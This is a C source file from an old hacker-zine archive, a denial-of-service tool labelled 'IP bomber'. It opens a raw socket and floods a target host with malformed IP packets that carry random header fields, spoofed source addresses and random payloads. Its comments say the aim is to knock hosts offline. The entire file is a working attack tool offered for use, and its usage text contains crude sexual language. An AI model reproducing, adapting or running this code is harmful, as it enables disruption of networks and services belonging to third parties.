home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / gayezoons.c < prev    next >
Text File  |  1999-01-01  |  5KB  |  244 lines

  1. /* IP bomber By: Redemption */
  2. /* I.P. bomber, sends UPD packets to a host */
  3. /* and knocks them offline, possibly lock them up */
  4. /* http://www.sekuirty-net.com */
  5.  
  6. #define DEBUG
  7. #include <stdio.h>
  8. #include <unistd.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <fcntl.h>
  12. #include <time.h>
  13. #include <sys/socket.h>
  14. #include <netinet/in.h>
  15. #ifndef __linux__
  16. #include <netinet/in_systm.h>
  17. #include <netinet/ip.h>
  18. #else
  19. #include <endian.h>
  20. #include <bsd/netinet/in_systm.h>
  21. #include <bsd/netinet/ip.h>
  22. #include <linux/wait.h>
  23. #include "/usr/src/linux/net/inet/skbuff.h"
  24. #endif
  25.  
  26. #include <assert.h>
  27.  
  28. static unsigned int wait_time = 0;
  29. static unsigned int packet_size = 80;
  30. static unsigned int packet_count = 1000;
  31. static int gateway = 0x0100007f;
  32. static int destination  = 0;
  33. static unsigned int uflag = 0;
  34. static unsigned int tflag = 0;
  35.  
  36. static int socket_fd;
  37. static struct sockaddr dest;
  38.  
  39.  
  40. /* Convert an ASCII string to binary IP.*/
  41.  
  42. unsigned long
  43. in_aton(char *str)
  44. {
  45.   unsigned long l;
  46.   unsigned int val;
  47.   int i;
  48.  
  49.   l = 0;
  50.   for (i = 0; i < 4; i++) {
  51.         l <<= 8;
  52.         if (*str != '\0') {
  53.                 val = 0;
  54.                 while (*str != '\0' && *str != '.') {
  55.                         val *= 10;
  56.                         val += *str - '0';
  57.                         str++;
  58.                 }
  59.                 l |= val;
  60.                 if (*str != '\0') str++;
  61.         }
  62.   }
  63.   return(htonl(l));
  64. }
  65.  
  66.  
  67. void print_usage ()
  68. {
  69.     fprintf(stderr,
  70.         "Usage: gayezoons [-w time_To_Jerkoff] [-s jizz_size] [-c jizz_count] host\n");
  71.     exit (1);
  72. }
  73.  
  74. void get_options (int argc, char *argv[])
  75. {
  76.     extern int optind;
  77.     extern char *optarg;
  78.     int    c;
  79.  
  80.     while (( c = getopt (argc, argv, "r:c:w:s:g:")) > 0) {
  81.         switch (c) {
  82.             case 'w' :
  83.                 wait_time = atoi (optarg);
  84.                 break;
  85.             case 's' :
  86.                 packet_size = atoi (optarg);
  87.                 break;
  88.             case 'c' :
  89.                 packet_count = atoi (optarg);
  90.                 break;
  91.             case 'g' :
  92.                 gateway = in_aton (optarg);
  93.                 break;
  94.             case 'r' :
  95.                 srand (atoi (optarg));
  96.                 break;
  97.             case 't' :
  98.                 tflag ++;
  99.                 break;
  100.             case 'u' :
  101.                 uflag ++;
  102.                 break;
  103.             default : 
  104.                 print_usage ();
  105.         }
  106.     }
  107.  
  108.     if ( optind >= argc ) 
  109.         print_usage ();
  110.     
  111.     destination = in_aton (argv[optind]);    
  112. #ifdef DEBUG
  113.     fprintf (stderr, "Wait time = %d\n", wait_time);
  114.     fprintf (stderr, "Maximum packet size = %d\n", packet_size);
  115.     fprintf (stderr, "Packets count = %d\n", packet_count);
  116.     fprintf (stderr, "Destination = %08x\n", destination);
  117.     fprintf (stderr, "Gateway = %08x\n", gateway);
  118.     if (tflag)
  119.         fprintf (stderr, "TCP option enabled\n");
  120.     if (uflag)
  121.         fprintf (stderr, "UDP option enabled\n");
  122. #endif
  123.     
  124. }
  125.  
  126. void init_raw_socket()
  127. {
  128.     unsigned int sndlen, ssndlen, optlen = sizeof (ssndlen);
  129.     int fl;
  130.  
  131.     if ( (socket_fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 ) {
  132.         perror ("ipbomb : socket ");
  133.         exit (1);
  134.     }
  135.  
  136. #ifdef __linux__
  137.     sndlen = packet_size + 128 + 1 + sizeof (struct sk_buff);
  138. #else
  139.     sndlen = packet_size;
  140. #endif
  141.     if ( setsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &sndlen,
  142.         sizeof (sndlen) ) ) {
  143.         perror ("ipbomb : setsockopt (..., ..., SO_SNDBUF,...) ");
  144.         exit (1);
  145.     }
  146.     if ( getsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &ssndlen,
  147.         &optlen) ) {
  148.         perror ("ipbomb : getsockopt (..., ..., SO_SNDBUF,...) ");
  149.         exit (1);
  150.     }
  151.  
  152.     if ( ssndlen != sndlen ) {
  153.         fprintf (stderr, "ipbomb: maximum packet size to big.\n");
  154.         exit (1);
  155.     }
  156.  
  157.  
  158.     fl = fcntl ( socket_fd, F_GETFL, 0);
  159.     fl |= O_NONBLOCK;
  160.     fcntl ( socket_fd, F_SETFL, fl);
  161.  
  162.     
  163. }
  164.  
  165.  
  166. void close_raw_socket()
  167. {
  168.     close (socket_fd);
  169. }
  170.  
  171. void send_packet( char *bomb, int len )
  172. {
  173.     int i;
  174.  
  175.     i = sendto (socket_fd, bomb, len, 0, &dest, sizeof (dest));
  176. /*
  177.     if ( i != packet_size )  {
  178.         perror ("ipbomb : sendto ");
  179.         exit (1);
  180.     }
  181. */
  182.     
  183. }
  184.  
  185. void generate_packet( char *bomb )
  186. {
  187.     struct ip * iph = (struct ip *) bomb;
  188.     unsigned int i;
  189.     unsigned int len = packet_size * (rand() & 0xffff) >> 16 ;
  190.  
  191.     assert ( len < packet_size );
  192. /* Options needed to be correct */
  193.     iph->ip_v = IPVERSION;
  194.     iph->ip_hl = 5;
  195.     iph->ip_sum = 0;
  196.     iph->ip_len = htons(len); 
  197.  
  198. /* Random options */
  199. #define SET_RAND(_a)  iph->_a = rand() & ((1 << (sizeof (iph->_a) * 8)) - 1)
  200.     SET_RAND(ip_tos);
  201.     SET_RAND(ip_id);
  202.     SET_RAND(ip_ttl);
  203.     SET_RAND(ip_off);
  204.     SET_RAND(ip_p);
  205. #undef SET_RAND
  206.     iph->ip_src.s_addr = rand();
  207.     iph->ip_dst.s_addr = destination ? destination : rand();
  208.  
  209.  
  210.     for ( i = sizeof (struct ip); i < len; i++)
  211.         bomb[i] = rand() & 255;
  212.  
  213.     send_packet(bomb, len);
  214. }
  215.  
  216. void main (int argc, char *argv[])
  217. {
  218.     int i;
  219.     char * bomb;     
  220.     struct sockaddr_in * inet_dest = (struct sockaddr_in *) & dest;
  221.  
  222.     srand (time (NULL));
  223.  
  224.     get_options (argc, argv);    
  225.  
  226.     bzero (&dest, sizeof (dest));
  227.     inet_dest->sin_family = AF_INET;
  228.     inet_dest->sin_addr.s_addr = gateway;
  229.  
  230.     if ( (bomb = malloc(packet_size)) == NULL) {
  231.         perror ("ipbomber: malloc");
  232.         exit(1);
  233.     }
  234.     
  235.     init_raw_socket();
  236.     
  237.     for ( i = 0; i < packet_count; i++ ) {
  238.         generate_packet (bomb);
  239.     }
  240.     
  241.     close_raw_socket();
  242.     
  243. }
  244.